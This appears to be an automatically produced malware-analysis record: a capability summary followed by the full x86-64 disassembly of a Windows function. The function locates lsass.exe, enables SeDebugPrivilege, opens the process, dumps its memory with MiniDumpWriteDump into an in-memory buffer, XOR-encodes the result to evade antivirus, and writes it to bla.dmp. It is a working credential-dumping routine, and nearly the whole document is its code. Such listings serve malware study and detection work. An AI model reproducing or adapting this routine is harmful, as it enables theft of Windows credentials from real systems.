Function at 0x140001240
Capabilities:
Acquire debug privileges
Check for sandbox and av modules
Encode data using xor
Enumerate processes
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x2c0
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor r14d, r14d
mov edi, r14d
call qword [sym.imp.dbghelp.dll_ImagehlpApiVersion]
lea rcx, str.DbgHelp.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
jne 0x1400012a8
lea r9d, [r14 + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Cant_load_DbgHelp.dll
call qword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [rsi + 1]
jmp 0x140001655
mov qword [rsp + 0x2d0], rbx
mov ecx, 0x12
mov qword [rsp + 0x2d8], rbp
call fcn.140001d78
lea r8, str.MiniDump
mov edx, 9
mov rcx, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rbx + 8]
mov edx, 0xa
lea r8, str.WriteDump
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rdx, str.MiniDumpWriteDump
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
jne 0x14000133a
lea r9d, [rax + 0x10]
xor ecx, ecx
lea r8, str.Error
lea rdx, str.Cant_load_Kernel32.dll
call qword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [rbx + 1]
jmp 0x140001645
lea rdx, str.OpenProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateToolhelp32Snapshot
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea ecx, [rdx + 2]
call rax
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x234
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001409
lea rdx, str.lsass.exe
lea rcx, [0x140003594]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400013db
nop dword [rax + rax]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [rsp + 0x78]
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x9c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400013b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.___Got__lszzass.exe__PID:
call fcn.1400016f0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x64], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001643
lea r8, [rsp + 0x64]
mov dword [rsp + 0x60], 1
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x6c], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x14000146c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001643
mov qword [rsp + 0x28], r14
lea r8, [rsp + 0x60]
mov r9d, 0x10
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x140001461
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.___Got_lzzsass.exe_PID:
call fcn.1400016f0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call rsi
mov rbx, rax
test rax, rax
jne 0x1400014f6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019a0
mov rcx, rax
lea rdx, [0x140001b50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.___Got_lszzass.exe_PID:
call fcn.1400016f0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rax, [0x1400011d0]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], rax
mov r9d, 2
lea rax, [rsp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, edi
mov qword [rsp + 0x28], r14
mov rcx, rbx
mov qword [rsp + 0x20], r14
call rbp
mov qword [rsp + 0x30], r14
lea rcx, str.bla.dmp
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x140006708]
mov edx, r14d
mov r10, qword [0x140006710]
mov r11, rax
mov dword [rsp + 0x58], r14d
test r8d, r8d
je 0x14000162d
cmp r8d, 0x40
jb 0x14000160b
movdqa xmm2, xmmword [str.AAAAAAAAAAAAAAAA_]
lea rax, [r10 + 0x20]
mov ecx, r8d
and ecx, 0xffffffc0
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add edx, 0x40
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax - 0x60], xmm0
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp edx, ecx
jb 0x1400015c0
cmp edx, r8d
jae 0x14000162d
movsxd rcx, edx
mov r9d, r8d
add rcx, r10
sub r9d, edx
nop dword [rax]
xor byte [rcx], 0x41
lea rcx, [rcx + 1]
sub r9, 1
jne 0x140001620
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r14
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
mov rbx, qword [rsp + 0x2d0]
mov rbp, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.140001d50
lea r11, [rsp + 0x2c0]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret